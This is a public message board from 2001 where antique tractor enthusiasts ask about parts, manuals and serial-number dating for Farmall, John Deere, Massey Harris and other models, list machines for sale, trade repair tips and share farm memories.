Gary Comfort wrote on Wednesday, September 05, 2001 (PDT):My brother just purchased a1940 JD L and is looking for the side pully. Also, a complete manual. If anyone has this please send me an email.
jason schott wrote on Wednesday, September 05, 2001 (PDT):JD came out with a new series for thier already piles of junk, they made them to look like the CAse IH mx magnum tractors they finally got smart enough to put on front duals. anyway can't wait for husker harvest days.
Gayle Merrill wrote on Wednesday, September 05, 2001 (PDT):I have 1947 M I purchased new. I had live power clutch by M&W installed for baler. Now that clutch slips and is no longer used. It will not adjust. Would like to know a way to terminate it without major tear down.Suggested that a drilled hole and bolt plates together will do it. Has anyone tried this. Tractor only used now for handy man jobs on farm. Been faithfull to me for 54 years.
wayne mazura wrote on Tuesday, September 04, 2001 (PDT):need info on spark plug size, head torc, for international cub. Thank you
John A wrote on Monday, September 03, 2001 (PDT):Rick, If the overall condition and price of this tractor is agreeable to you. There should not be a problem with useing a tractor of this size to mow pastures. First you have more than enough Hp to turn a 6ft or larger shredder.Second you are up higher from the work, less dust& dirt to eat. Less rocks to whiz-z-z past your ears. Three better visibility to the terrain you are on. Depending on how the wheels on this tractor are set,they can be set-out for a wider stance. I know for I use a Farmall 966 for pasture shredding I have never had any prablems.My wheels are cupped out - and set for 40 in. rows My pastures are flat to rolling. I also have a lot of experence on tractors. You didn't say if you are an experenced with farm equipment are not. Basicly in my opinion there is'nt anything a small tractor can do that a larger tractor can't do better, providing the work application is equal. Also larger Hp tractors can be bought a lot of the time for less $$$. Hopes this helps!!!
BRUCE WHITE wrote on Monday, September 03, 2001 (PDT):WHERE CAN I BUY A NEW SERIAL # TAG ?
BRUCE WHITE wrote on Monday, September 03, 2001 (PDT):I'M LOOKING FOR A STEP OR A PTO GUARD, OR PTO EXTENTION, NOT SURE WHAT ITS CALLED. IT BOLTS UNDER THE REAR END ON THE F-20. ITS ABOUT 14" X 14", AND LOOKS LIKE ITS MADE OUT OF ANGLE IRON. WHAT IS THE RIGHT NAME FOR THIS PIECE?
BRUCE WHITE wrote on Monday, September 03, 2001 (PDT):I'M LOOKING FOR A F-20 TO RESTORE, IS IT HARD TO FIND PARTS FOR REBUILDING THE ENGINE? I LIVE NEAR SPOKANE WASHINGTON.
Dwayne wrote on Monday, September 03, 2001 (PDT):I am wanting to purchase a Farmall Regular. If it is running that would be GREAT!! But if not it would at least need to be in restorable shape. Is there any out there?
monte wagner wrote on Sunday, September 02, 2001 (PDT):I just found A Model B sitting out in the weeds on A farm in IN plan on total restoration all the sheet meatl is rusted out and missing carb lots of work ahead SN from what I seen is B8868 open for all help comments
Grant Weir wrote on Saturday, September 01, 2001 (PDT):I do not think this is a 1920 model. It may be a late 15-27 but I believe it to be a 20-30 Certified model of around 1926 vintage. Neat!
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Joe Maurath wrote on Saturday, September 01, 2001 (PDT):I am in the St. Louis Missouri area
Joe Maurath wrote on Saturday, September 01, 2001 (PDT):I have a Farmall A which thru the years has been used for parts, however there still are some good parts such as front and rear wheels, valve cover, steeering arms etc. that may be of interest to someone at a reasonable price. Model A Serial # 1aa183072
TEDDY THOMPSON wrote on Friday, August 31, 2001 (PDT):I would like to know more about this tractor (year, model, & ect. Please call me at (985-748-7517) or write me at Teddy Thompson, Rt. 3, Box 365, Amite, La. 70422 Thank you !
xolani mthethwa wrote on Friday, August 31, 2001 (PDT):Id like to buy a massey ferguson 390 or a 290 4x4 please contact me if you have one.
xolani mthethwa wrote on Friday, August 31, 2001 (PDT):Id like piture or buy a massey ferguson 390 or a 290 4x4
Ron Davidson wrote on Thursday, August 30, 2001 (PDT):Have 1950+or- MM Z for sale in great shape new starter, wires plugs and manifold gaskets. real good paint and almost perfect rubber. asking $3200 will deliver within 200 miles of Buffalo NY
Big Bud wrote on Thursday, August 30, 2001 (PDT):I just bought a 1950 trycyle front M- how can I adjust the front tires to stop them from wobbling? Where is the gear that controls this and how do I get to it. Please e-mail me with this info if you know.
Donald O. Wilkins wrote on Wednesday, August 29, 2001 (PDT):I am looking for a Farmall Cub preferrable restored in the Virginia area 540-667-8814
Chris Luebbert (Westphalia, MO) wrote on Wednesday, August 29, 2001 (PDT):I have just completed repainting my G. I have bought replica's of the original decals for the but I am unsure where they should be placed (with the exception of the hood, air filter, oil filter, and shift pattern decals). If anyone has any information where the rest of the decals need to be placed please let me know.
belva wrote on Wednesday, August 29, 2001 (PDT): My mother just gave my husband a tractor that my stepfather had purchased several years ago. He has passed on and we are unable to find anything that indicates what year or model it may be. Where do we look for numbers that will tell us what it is? It looks a lot like the above picture on this web page.
TONY S. wrote on Tuesday, August 28, 2001 (PDT):TO ALL WHO NEED PARTS I HAVE A 1994 CATALOG FROM A COMPANY CALLED CT FARM&FAMILY DesMoines,IA 1800-247-7508 or 1800-0128 THIS MAY BE YOUR ANSWER.
John Underwood wrote on Tuesday, August 28, 2001 (PDT): Here in australia dad got the first second hand "R" in 1966 -- we mostly ran two joined together in tandem (on behind the other -- no front axle on rear unit)--we had two tandem units (4 of model R) the harmonics of two heavily laden (with new equal sized rear tyres) powerful diesel exhausts is very unique-- in time I had three jd two cyls joined together, one model 80 plus two model R's they were just great --- they never gave in.
jack ferguson wrote on Monday, August 27, 2001 (PDT):just bought a 1950? VAI today.needs lots of TLC.anyone have any tips for a new guy. thanx
ak wrote on Sunday, August 26, 2001 (PDT):dose any one have one for 200 to 2000
Lloyd in Kansas wrote on Saturday, August 25, 2001 (PDT):I just restored my grandfather's Farmall B. He bought it new in 1947 and I found the original owner's maual stuck in our old garage. I grew up with this tractor and I am very proud of it.
gervais poirier wrote on Friday, August 24, 2001 (PDT):j'ai a vendre un tracteur ford 8n 1947 en parfait etat.si interesser.communiquer avec moi.
Rodney Youngquist wrote on Thursday, August 23, 2001 (PDT):That is a great looking MH44. My brother-in-law had a MH44 Standard back in the 1950's and early 60's. I was grateful to have the opportunity to drive this fine tractor as a teenager and my early twenties. It had a lot of power. It also had power steering installed and that really made it great to drive. We pulled a 4-bottom plow with this tractor and it handled the plow with ease.
Ben Griffith wrote on Thursday, August 23, 2001 (PDT):Hey i have seen one of these working at the Fort Vancouver annual heritage festival. i am pretty sure it was one. you said it is in oregon state and i am in SW washington maybe it was his.
Lewis smith wrote on Wednesday, August 22, 2001 (PDT):need any type owner's manual for super a farmall,
Vern Heyer wrote on Wednesday, August 22, 2001 (PDT):Am willing to sell my mint condition D17, it has original paint 1958 wf, ps, 3pt, new rubber. This tractor has always been sheded. Came from Redwod Falls, Mn. I am second owner. this is a nice tractor $4000. Also have a 3 16 plow for it. call 218-846-9232 leave message
TOM wrote on Tuesday, August 21, 2001 (PDT):I bought a 52 8N. I started to overhaul engine but the block had old damage that is not repairable. I,m in need of a used block! Do you know where I might find one? Thanks
Allen wrote on Monday, August 20, 2001 (PDT):If anyone is interested. I would like to trade a 50 Farmall Cub for a Farmall A. The cub is in good shape runs great. Needs hydraulic work nothing major. Would like to trade straight out. I'm located in Eastern N.C. Thank you.
Bill Smith wrote on Monday, August 20, 2001 (PDT):I have recently aquired a 1949 AC G and now I am in need of some information on finding rod bearings and main bearings for the motor also will need rings. Beleive it or not the motor runs fine.
C Thompson wrote on Monday, August 20, 2001 (PDT):I've got a '48 8N that I use daily. I'm looking for comments from anyone who has any experience with the Sherman transmission kit. Is it worthwhile? Installation looks fairly straight forward. Is that right?
Judy wrote on Sunday, August 19, 2001 (PDT):my husband came home with a farmall H tracter,and I would like to know what year it is and how much it is worth. I think it is a 1944 modal (serial number 158562x1).
barry wrote on Sunday, August 19, 2001 (PDT):I have a MH44 special that fell off a trailer and I'm planning on putting it back in running order so I would like to know whether a MH 44 will enterchange with a 44special. Any input will help alot. Thank you
Cris L. wrote on Sunday, August 19, 2001 (PDT):I saw a AC crawler yesterday....the model tag said "TS-6" Does anyone have any idea how old it is and if parts are still available for it? I wouldl like a small crawler to work on during the winter. Thanks, Cris L.
Kris wrote on Saturday, August 18, 2001 (PDT):My Dad, his brother and brother in law each had a "830". Another brother had a "R" and a 1943 "A", and another a 1938 "AR". Most owned other two-cylinders before these. They all lived with in a mile of each other. So it is safe to say I grew up around a lot of John Deeres. They were the first tractors I drove. As a child before that if it wasn't a John Deere it wasn't really a tractor. Every time I see an old two-cylinder John Deere, no matter where in the country it is, it brings back such a memory of my family and my heritage. My Dad traded a "70" diesel standard{that he bought new in 1955}for the "830" in 1965. He often regretted that he hadn't bought a new "4020" instead. I agree with him that we should of had a "4020", but I sure enjoy the sound of the "830". And no it is not for sale. Kris
gilles quebec,canada wrote on Saturday, August 18, 2001 (PDT):would like to purchase A or B farmall any conections
jerry wrote on Saturday, August 18, 2001 (PDT):what is a FAB ? an A , B? what is the F ? for Farmall? thanks ,just a beginer
scott wrote on Saturday, August 18, 2001 (PDT):ive never seen or heard of anything regaurding that tractor
Dean A. Jaeger wrote on Friday, August 17, 2001 (PDT):If anyone is interested in buying a great running ZB I have one.
Frank Gissendaner wrote on Friday, August 17, 2001 (PDT):I have a farmall super md the local FFA chapter are restoring. I also have a super md engine I would like to know what it is worth.
Paul Pottschmidt wrote on Friday, August 17, 2001 (PDT):We have one 40, two E-4's, one 50 one E-3 and one 570. The 40 and the 570 are still in use today helping put up silage and haul manure ect. I am needing a set of clutches for the pto on the 40 if anyone knows were I can get a set please e-mail back. Thanks.
Jim Burbridge wrote on Thursday, August 16, 2001 (PDT):I have a Case vc just like the picture above. serial # is 52#####vc. I am assuming this tractor is 1948, but per the note beside the picture above, the VC was only made from 1940-42. Do the VAC's not show "VAC" on the tag? does anyone know how much this tractor weighs?
KEITH NELSON wrote on Thursday, August 16, 2001 (PDT):MY FATHER PURCHACED ONE OF THESE TRACTORS BRAND NEW WHEN HE WAS FARMING. I AM 38 AND REMEMBER PLOWING WITH THREE 14'S.WE STILL HAVE AND ALL OUR OTHER OPLD FARMALLS, WELL CARED FOR AND SHEDED. SOMEDAY, WHEN I CAN RISE THE MONEY, I WILL FARM AGIN WITH THESE PROUD MACHINES. THERE IS 420 ACRES WAITING FOR ME.
brian johnson wrote on Thursday, August 16, 2001 (PDT):Just got a Farmall # F-AAV (the V Is a little larger than the other letters) 307112. Can anyone tell me the year?
greg young wrote on Thursday, August 16, 2001 (PDT):my father owened a tractor like this one pictured but only on rubbber and with a farm hand.He told me it was a ninty sereies. it was sold about fifteen years ago in olds alberta canada. I am my fathers son and would like to fined my farters oliver ninty and buy it back as a keepsake. I would know the tractor right away just by the fork my father built for picking up stukes. anybody knowing the wereabouts of this tractor please let me know.the last knowen owner was a mr jake rediecop of olds alberta canada.the tractor was sold at the olds auction mart. rosehill auction sevices
Ken Roddy wrote on Tuesday, August 14, 2001 (PDT):I purchased a yellow tractor w/frontloader and backhoe attachment a couple of years ago. It is an International. Recently one of the "teeth" inside the steering box broke off. I checked it out and noted it had been welded in the past. Is there a source for this item to buy a replacement or should I have it welded again. My tractor is also missing both engine sheilds/covers....wher can I find those? Any help will be apriciated. Ken
Jim Broughton wrote on Monday, August 13, 2001 (PDT): To ; Dave Curtis...see m.e.Miller tire co. at ph. 419-335-7010 or on the net at www.millertire.com...the last time I priced them for my cub, they were $34.00 ea for the front (400 X 12) and $115.00 each for the rear (8 X 24). Lots of luck !! Jim
Jay Downing wrote on Sunday, August 12, 2001 (PDT):My 44 needs rear axle seals really bad. Can any one tell me where I could order a new set? Do the axles need to be removed to install new ones? Thanks.
Ed.C.Weyn wrote on Sunday, August 12, 2001 (PDT):My dad bought a new Case DC in 1948 from a dealer in Mt.Clemens,Mich,it had a manure loader on it.He sold this machine about 10-12 years ago to a lumber yard in the Brighton/Novi/Oakland County area.It had a large square concrete counterweight mounted on the rear as we used it to load dirt.My dad passed away Jan 2001 at 90 years of age,I would like very much to locate this old friend,anybody see her around give me a call,PLEASE,Ed.C.Weyn,Waterford,Mich 248 682-7025
Blake Partridge wrote on Sunday, August 12, 2001 (PDT):I just got a 1951B-JD and I am fixing it up. If any body out there has got front grills, I am looking for a good set.I am also looking for a battery box and a manifold. (Gasoline only type)The tractor at the start of the page looks great, I hope mine looks that good.
Richard wrote on Saturday, August 11, 2001 (PDT):Purchased my 1950 MT serial # 23783 two years ago. Immediately joined the Two-Cylinder Club where I found all the resources to restore this tractor. Its pictured in the Jan-Feb issue 2001 of this magazine. I have since located and bought the matching intigrated hitch 2-12 plow for the MT and have turned over miles of furrows since. The MT roams over my small acreage bush hogging, raking, plowing,and towing anything with a hitch.
Chad Gill wrote on Saturday, August 11, 2001 (PDT):I have bought a Massey Harris tractor which is all original and are on sure of the year of it it is a 44 high arch with all the places on it to hook up hydrolics if any one can tell me a sight where I can check the ser.# for the year & first owner of this wonderful old tractor I have reserected to play with.
Jake Hixson wrote on Saturday, August 11, 2001 (PDT):I own a 1938 f-20 that i bought from a older man, it sat in the middle of his corn field for about 12 years and it fired right up. I have completly restored it and now i show and pull with it. The f-20s are very powerfull and like to pull(the hotter it runs the better it pulls).
Gary Fraser wrote on Thursday, August 09, 2001 (PDT):I have a l950DC Case that I would like to have a pair of fenders for..they dont have to be the best ,but reasonable price would appreciate any info..I am in SW AZ thanks.....Gary Fraser
Ed Reitler wrote on Tuesday, August 07, 2001 (PDT):I am the proud owner of a TO-30 Harry Ferguson. The hydraulics on the old girl could not lift the implements and when they did lift it would bleed off very quickly. A friend and I tore the hydraulics out and had everything repaired. However, the machinist who repaired all the parts said that there is a schematic of the "proper putting back together sequence" or else things will break again. I have looked through my service manual and found no such schematic. Can anyone help?
Brian wrote on Tuesday, August 07, 2001 (PDT):If anyone has a farmall A and they are interested in selling it please e-mail me. It doesn't have to be restored but hopefully running and with an electric starter.Thanks
Rad Man wrote on Tuesday, August 07, 2001 (PDT): We have a 1931 k-crawler #k-964 steering wheel, 12v start, hyd blade exl under carriage turn key ready could be the oldest special k around. any offers $$$!!!!
Louis Kologenski wrote on Monday, August 06, 2001 (PDT):Iam looking for a steering gear pedistal shaft and attached steering sector gear for a massey harris 44 serial no. gr30294 this is a left handed type steering gear any one with information on where one can be purchased please e mail thank you
Kasey Cox wrote on Monday, August 06, 2001 (PDT):My grandfather has a 1921 International Harvester Farmall that is still running. Any information that anyone could send to me would be greatly appreciated. He bought it in the 20's and recently got it running again!
louis smith wrote on Monday, August 06, 2001 (PDT):I have a 1959 Ford Deisel select-o-matic with transmission problems. I pulled the handle for the PTO to engage and nothing happened. I then put it in gear, but still nothing. It starts fine but will not do anything else. The local Ford dealer will not give me an estimate on. Anyone have any suggestions. thanks
dave curtis wrote on Sunday, August 05, 2001 (PDT):Looking for front tires and rear tires for 1942 international cub rear 8x24 front 400x12
Brian wrote on Friday, August 03, 2001 (PDT):Help,.... my dad gave me a tractor and I would like to know what year it is. It is a regular on steel # number on frame is 470991. any help would be welcome. also looking for side grille for 2020 JD.
emil smith wrote on Wednesday, August 01, 2001 (PDT):restoring int 300U ser.#22436 would like to know year of manuf. also if someone has a color picture of how it is supposed to be painted ,will return picture and postage and thanks.
bob johnson wrote on Wednesday, August 01, 2001 (PDT):need sheet metal for 41 through 43 massy 81r or 20
Donald wrote on Wednesday, August 01, 2001 (PDT):see previous message,
MARJ wrote on Wednesday, August 01, 2001 (PDT):i WOULD LIKE TO KNOW IF ANYOINE HAS A PIC OR INFO ON A 6 ROW SEED PLANTER FOR A A/C MODEL G 1949 ANY INFO WOULD BE HELPFULL THANKS
Jeff Doucette wrote on Wednesday, August 01, 2001 (PDT):There is a AC model 160 for sale at www.agdealer.com Search equipment ,Allis Chalmers 160 and you will find it
perry wrote on Sunday, July 29, 2001 (PDT):i am looking for a ford 9nd and 8 nd with the 6 or 8 cyl eng email me at lfrahm at tznet.com
Bill wrote on Sunday, July 29, 2001 (PDT):Where is the cut out relay on my Ford 8N.
David Nevin wrote on Saturday, July 28, 2001 (PDT):Can anyone explain to me the actual mechanics of the M-TA that started on gasoline, then was "switched to diesel? Just how did that work? Since it was started on gasoline, it had spark plugs, correct? When it was "switched" was the ignition "shut off"? My uncle had two of these gems and I am just curious since he is no longer with us for me to ask.
DAN HOLADAY wrote on Saturday, July 28, 2001 (PDT):I HAVE A 1945 B CULTIVISION LOOKING FOR INFO ON SERIAL NUBER AND ALSO NEED COMPLETE CULIVATOR WITH LIFT ALL PHONE 17122433145
Dwight Miller wrote on Friday, July 27, 2001 (PDT):Re;Larae Whitfield steering clutches. I owne a 1960 oc4,and that model dont use clutches to steer,it has 2 brake bands,one for left and one for right,they can be relined
Jim wrote on Thursday, July 26, 2001 (PDT):I have a 1921 8-16 and part of another I am looking for a radiator, fan, fan tower assembly anf cluch parts. are the any out their?
Josh Clayton wrote on Thursday, July 26, 2001 (PDT):Does anybody know how much a 53" cub was new. Thanks.
Wally Pfennig wrote on Thursday, July 26, 2001 (PDT): ED HARTMAN; The shipping weight of your Super C is 2900 lbs (C is 2780 lbs without fuel and water) according to the IH Tractor Data book by Guy Fay. For 3 pt conversions... try www.farmstar.com, click on Rear Hitches, Click on 3 Point Conversions, Farmalls are near the top of the page. There are two diagrams links. It appears that it bolts to the axle housings and operates from the lift arms (neat design in my opinion). paul jr; Your Farmall C was made in late 1948. For serial# lookups... www.ytmag.com/cgi-bin/snlookup.cgi
Dale West wrote on Wednesday, July 25, 2001 (PDT):I have a 1950 B that just last week was challenged to a chain hookup with an F-20 Farmall. That F-20 will never challenge a mighty B John Deere again as he was dragged backwards very easily. The JD model B is one of the greatest machines of the twentieth century.
robert wolff wrote on Wednesday, July 25, 2001 (PDT):We have an Avery 5-10 which my father began to restore 15 yrs. ago. We believe ours to be a 1915 model. Looking for an original Distributor for ours if any body out there can help.
Andrew McLaren wrote on Wednesday, July 25, 2001 (PDT):I own and operate a 1942 Model 81, using it for snow-plowing all winter, and mowing and raking in summer. I do all necessary repairs using the shop manual, "I & T Shopbook", publ. 1948, which covers all MH models. For restorations, the following Sherwin-Williams paints are correct; Kem-Transport Straw Yellow #JK-4649, Kem-Transport Red #JK-4036-G.The engine was originally black.
david t. wrote on Wednesday, July 25, 2001 (PDT):I have found a 100 Farmall high clearance in a scrapiron pile. The tractor is missing fenders,seat,and floorboard. My question, are the fenders taller on a highclearance modle? If so any information would be greatful!! THANK YOU IN ADVANCE!!
ken dyck wrote on Wednesday, July 25, 2001 (PDT):as a youngster i harrowed many an acre on a 44, our farm had 720 acres at the time. it would pull 12 (i think) sections of harrow in 3 rd gear, sometimes in 4th if the conditions were right. our hired hand plowed a 100 acre of clover with a 3 bottom plow but when he was done so was the exhaust manifold. dad bought the tractor used in the late 50's early 60's and the only rear dangerous occurence was that the nut holding one of the rear wheels on came loose several years after being worked on, if i owned one today i would check that. my brother found a 44 for sale and it is in good running shape. by tommorrow i may own it!!!! this will not be my working tractor, just a nostalga thing. old tractors belong in parades ken
mark williams wrote on Wednesday, July 25, 2001 (PDT):IHAD A 101JR AND WAS LOOKING FOR ANY INFO ON ITS LIFT SYSTEM IS THERE ANY ATTACHMENTS FOR IT LEFT MOWER ,CULTEVERS?
andrew wrote on Wednesday, July 25, 2001 (PDT):I was wondering how much do 44 cost today.
Jim Weiler, Union City,IN wrote on Tuesday, July 24, 2001 (PDT):My dad has a 1949 MH 22 with a Massey loader that has been a good tractor. He has owned it since about 1968. Originally sold we think from the dealer in Winchester,IN. It has loaded one heck of alot of manure in its life and a good share of rocks too.It is semi-retired since we got a skid loader a few years ago, but I still used it to pick up a few rocks this spring, just for exercise.I like the looks of those 444's, they look streamlined.
dave dennison wrote on Tuesday, July 24, 2001 (PDT):I was in Sagertown,Pa. to the steam&tractor show. There was an Oliver 99 diesel with the GM supercharger. It was in pristine condition! I only wish i could own one.
jonathan wrote on Monday, July 23, 2001 (PDT):I just purchased a Do All in very poor shape, most of it is there axcept the original steering system ,fenders and front steel,. The rest needs serious restoration. I am looking for any parts an information that is out there.
Chuck wrote on Monday, July 23, 2001 (PDT):I have a 1943 Case D. I. that has an Earth Master Boom, and hard rubber tires on the front. Motor Runs good but has a bad spot on the fly wheel and needs carbeurator work. This tractor is Unique and One Of A Kind. Could be considered an Industrial Type of Tractor. Want to sell it. Email for pics, any offer over $850.00 gets it. Located in West Central Illinois.
David DeLaughter wrote on Sunday, July 22, 2001 (PDT):I learned today that I be getting my dad's 1941 Z which has been in the weeds for about 10 years. It was purchased new in the Spring of 1941 by the man my dad worked for; I was born Mar 31, 1941. Later, after WW II, my dad was able to buy the tractor used, and it was the only tractor we farmed with until 1957 when he quit. I will need some parts such as engine lift-up side panels and grill. Where do I start? Also, the comments above regarding steering wheel and seat apply to the 1941 model; seat well back, swivels in a rubber mounted support, steering wheel shaft is on the left side going directly into the steering sector housing above the front wheels. Thanks for great info and the memories. David
Chuck Bork wrote on Sunday, July 22, 2001 (PDT):I am still looking for a complete wide front end for my 52 case SC. Also need good running motor. I want this old girl to run again.
Curtis Minzenmayer wrote on Sunday, July 22, 2001 (PDT):Does anybody have a restorable Allis Chamler G for sale in Texas with a reasonable price?
Curtis Minzenmayer wrote on Sunday, July 22, 2001 (PDT):Does anybody have a restorable Allis Chamler G for sale in Texas with a reasonable price?
Terry wrote on Saturday, July 21, 2001 (PDT):I would like to know if there is a pull behind mower that will work with my Cub tractor. The tractor has working hydraulics and PTO. I have about 8 acres. Thanks for any help.
JODY wrote on Friday, July 20, 2001 (PDT):JIM, THERE ARE SOME PNEUMATIC LIFT PARTS LISTED ON EBAY. JUST SEARCH ON FARMALL B.
Paul Wegmann wrote on Thursday, July 19, 2001 (PDT):My Grandpa owned a '36 "Hart-Parr 70" and bought an "Oliver 70" with rubber tires around 1941. Both were eventually traded in for 77's. I own a bundle wagon, or loose hay rack, that grandpa bought new in the mid-1930's. Originally it had a steel-wheeled running gear but that was replaced with an electric wheel running gear with rubber tires around 1948. It has the original wooden side racks that "stand up" by hooking the metal bottoms into the floor bed and attaching the front and rear cross pieces. The front "standard" completes the basket. It is in great shape considering its age, (always shedded) and would fit in nicely with the old Olivers at antique thrashing shows or in parades. Would sell for the right price.
Paul Wegmann wrote on Thursday, July 19, 2001 (PDT):My Grandpa owned a '36 "Hart-Parr 70" and bought an "Oliver 70" with rubber tires around 1941. Both were eventually traded in for 77's. I own a bundle wagon, or loose hay rack, that grandpa bought new in the mid-1930's. Originally it had a steel-wheeled running gear but that was replaced with an electric wheel running gear with rubber tires around 1948. It has the original wooden side racks that "stand up" by hooking the metal bottoms into the floor bed and attaching the front and rear cross pieces. The front "standard" completes the basket. It is in great shape considering its age, (always shedded) and would fit in nicely with the old Olivers at antique thrashing shows or in parades. Would sell for the right price.
Paul Wegmann wrote on Thursday, July 19, 2001 (PDT):My Grandpa owned a '36 "Hart-Parr 70" and bought an "Oliver 70" with rubber tires around 1941. Both were eventually traded in for 77's. I own a bundle wagon that grandpa bought new in the mid-1930's. Originally it had a steel-wheeled running gear but that was replaced with an electric wheel running gear with rubber tires around 1948.
WAYNE wrote on Thursday, July 19, 2001 (PDT):Gary The "N" designation only refers to the width of the rear end of the tractor. All "B"s were manufactured with narrow fronts. If you'll check this out you find the measurments from outer rim to outer rim on the "N" version measures 71 1/2" and the standard measures 79 1/2". I think this is correct.
jerry Langworthy wrote on Wednesday, July 18, 2001 (PDT):the silver king is a neat tractor i have several 4 wheelers and three gues mabe 20 all tole i show them reg and have in my shed last silver king mountain state built in west verginia it is a 4 wheel
Audouin wrote on Tuesday, July 17, 2001 (PDT):I am looking for documentation of FORD TRACTOR. My father was working in FORD compagnie for 27 years. He is 70 years old now and I would like to write a personal book for him with some pictures of the technology evolution in FORD tractor. Could you help me to do this
Dave Weissenfluh wrote on Tuesday, July 17, 2001 (PDT):What is the "going rate" for a 1950 John Deere "R" Deisel, fully restored?
marvin wrote on Monday, July 16, 2001 (PDT):i have a case 1018 1920 or 1921 need parts . kingston mag also carb kit. does anyone know where i can find parts for this tractor. thanks marvin this tractor belonged to my wifes grandad in oregon
Bill McDonald wrote on Monday, July 16, 2001 (PDT):just bought an "A" farmall, motot is locked up, could anyone give me an idea as to how I should start to free it up?
H. L. Potter wrote on Sunday, July 15, 2001 (PDT):looking for ac g in any cond. va. pa. n.c. md.w va. may tele;540 348-5008 anytime
john Briganti wrote on Sunday, July 15, 2001 (PDT):I have an Oliver 70 Row Crop that seized-up on me a number of years ago. I have not been able to un-seize it. I tried various antirust products; such as w-40 and other similar products, but to no avail. How does one go about loosening the cylinders. Has anyone had similar problem? Please write to the above E-mail for suggestions. Thank your John
James W. Russell Muncie, In. wrote on Sunday, July 15, 2001 (PDT): My 30 Massey Hassis clutch stuck one time. I took the cover off from under the clutch and held the clutch peddle down and took a screw driver and forced it between the plate and disk, that worked for me. Sometimes if they set for awhile the plate will stick, when I know it will be awhile before I will use any of my older tractors I will block the clutch down to keep them open.
Cathy Musil wrote on Saturday, July 14, 2001 (PDT):Can someone tell me about the 1969 international tractor. that runs on gasoline. Also how you fix the brakes?and where do you get them. Is there a web site about this tractor. Thank you Cathy
myron wrote on Saturday, July 14, 2001 (PDT):I just bought a 33,runs great but the clutch is stuck,any ideas on freeing it easy,the linkage is free so its inside the bellhousing.Any help would be helpful,thanks
JIM ALLEN wrote on Friday, July 13, 2001 (PDT):Our neighbor had a 1951 Z. He was the MM dealer in Grand Junction, CO. I worked for him all through high school and spent many hours baling hay with the Z and an MM baler. The tractor pictured is a ZB. The Z was a favorite tractor in the valley because it was low enough to use in the orchards and could handle row crops as well.
reid valentine wrote on Friday, July 13, 2001 (PDT):i own a 1946 DI that I am currently looking for parts /info/ and questions answered
Barbara wrote on Friday, July 13, 2001 (PDT):any free information or manuals for TD14 A International Harvester
Jim wrote on Thursday, July 12, 2001 (PDT):I have a Farmall B and would like to add a Pneumatic Lift-All. Anyone with the exhaust valve / control valve for sale please write me.
bill wrote on Wednesday, July 11, 2001 (PDT): the B was the first tractor i owned,not that long ago either. it was a later 40s with a rolomatic and a powertol system. it also had a sears and roebuck loader. it was a powerful tractor and moved a bunch of logs, but the loader was an adventure to load hemlock logs, and what a gas hog! but she served me well. she's in the hands of a guy that'll give her a good home and not make her work anymore.
Philip Ladd wrote on Wednesday, July 11, 2001 (PDT):I have a John Deere 1950 Model B tractor and was wondering if anyone could e-mail me a copy of the wiring diagram for the generator and instrument panel. The tractor has electric starts and lights. pbjladd at yahoo.com
Philip Ladd wrote on Wednesday, July 11, 2001 (PDT):I have a John Deere 1950 Model B tractor and was wondering if anyone could e-mail me a copy of the wiring diagram for the generator instrument panel. The tractor has electric starts and lights. pbjladd at yahoo.com
James W. Russell, Muncie, Iniana wrote on Wednesday, July 11, 2001 (PDT): I bought a new 44 in 1947 used it 5 years than traded it in on a 1953 44 which had not been sold yet, I put power steering on it as soon as I got it. I used it for 17 years before I over hauled it, It was my big tractor till 1959, I still use it for lighter work, and have not overhauled it since that first time, It is still in good shape and looks really good, It has been a very good tractor, I also have a 30 model I bought new in 1952 I put a loader on it and I still use it very often, I don't know what I would have done without it, I have just overhauled it once but it does need it again, I also have 2 more 30s in running shape.
JD wrote on Tuesday, July 10, 2001 (PDT):Would like to know if Clyde still has the W4 that was on the message in August 2000.
Jay Miner wrote on Tuesday, July 10, 2001 (PDT):I would like to know if there is a place to grease the throw-out bearing on my case vai, or if it's a sealed bearing. Also, I can't find any grease fittings on the mower's universal joints. Can someone tell me how they grease there's and what there's was like.
Jay Miner wrote on Tuesday, July 10, 2001 (PDT): I recently got a case vai with a seized engine and a belly mower. My father and me tore the entire engine except for the crankshaft. I paid 150 for it and it was a great deal. There was hardly any where on anything. The starter gears were near perfect, and the piston and crank bushings were excellent. In the end we hardly bought anything for it and it runs great. It starts right up and runs clean. Everything works good for the amount of hours that were put on it.
gary wrote on Monday, July 09, 2001 (PDT):I have noticed a lot of questions asking about the difference between the "B" and the "BN" I am a John Deere guy, but I believe the "N" indicates that the tractor only has one front wheel, which I think made it handier for cultivating, etc. Also, the Farmall B was the only tractor to ever pull more than its own weight in the Nebrask Farm Tests. gary
Nick Melander wrote on Sunday, July 08, 2001 (PDT):I have restored a 51' Super A. Anyone know if there is a standard three point hitch kit available and where I can find one? Thx in advance.
Frank Baker wrote on Sunday, July 08, 2001 (PDT):Please delete my message of 10/7/2000.
ken drath wrote on Sunday, July 08, 2001 (PDT): I own a G706 like the one in the picture what would the value be?
Michael Harper wrote on Friday, July 06, 2001 (PDT):I recently purchased by first tractor, a 52 Ford 8N. I look forward to restoring it and getting out in my acres and shredding instead of paying to do so.
Bud Smith wrote on Thursday, July 05, 2001 (PDT):I have located a 1950 G with no implements. It has sat outside as a yard orniment for 10 yrs. Bad rubber and bad paint. What is it worth?
Will wrote on Wednesday, July 04, 2001 (PDT):Just purchased a B which is cosmetically in excellent condition. Dual front wheels, the works. My only problem is the thing has been taken apart. The older gentleman I purchased it from said that the No. 3 piston's rings are frozen to the walls. A friend told me to soak the cylinder in kerosene in an effort to free everything up. Anyboyd else have an idea? If not, what is a good source of parts for these rigs. Sorry, was a Ford guy for a long time, at least when the tractors belonged to the rest of the family.
Mike Elton wrote on Wednesday, July 04, 2001 (PDT):I am new to the internet and happen to run across this page. I have five farmalls, three of them are "m's". A '40,'49,'51, I enjoy running them often. I am going to downsize a little though and sell my IH 400 gas and maybe one of the m's. If anyone is interested email me for more info.
Johnny wrote on Wednesday, July 04, 2001 (PDT):A D17 was the first tractor i drove as a boy. I can remember i was 6yrs old and drove the tractor while my Dad forked silage to the dairy herd. 20 yrs later I was once again drove the very same tractor again. Brought back a lot of good memories
Ron Gates wrote on Monday, July 02, 2001 (PDT): Sirs; Recently got a 1948 C Model and have cleaned up and running pretty good. I want to enter it in a local tractor pull (stock) on the 22nd July. I want to have the rear tires filled with the sodium mix for weight.What gear is better to pull in; seems like 1st is to slow to pull a sled. Also please let me know the place to get a six volt starter motor for this tractor; kind of hard hand cranking all the time especially after the block has warmed up. Even though it's not the same web page to mention it; I also have a 1948 Allis Chalmers which takes the same the same starter motor (less bendix and mount) that I will be entering.
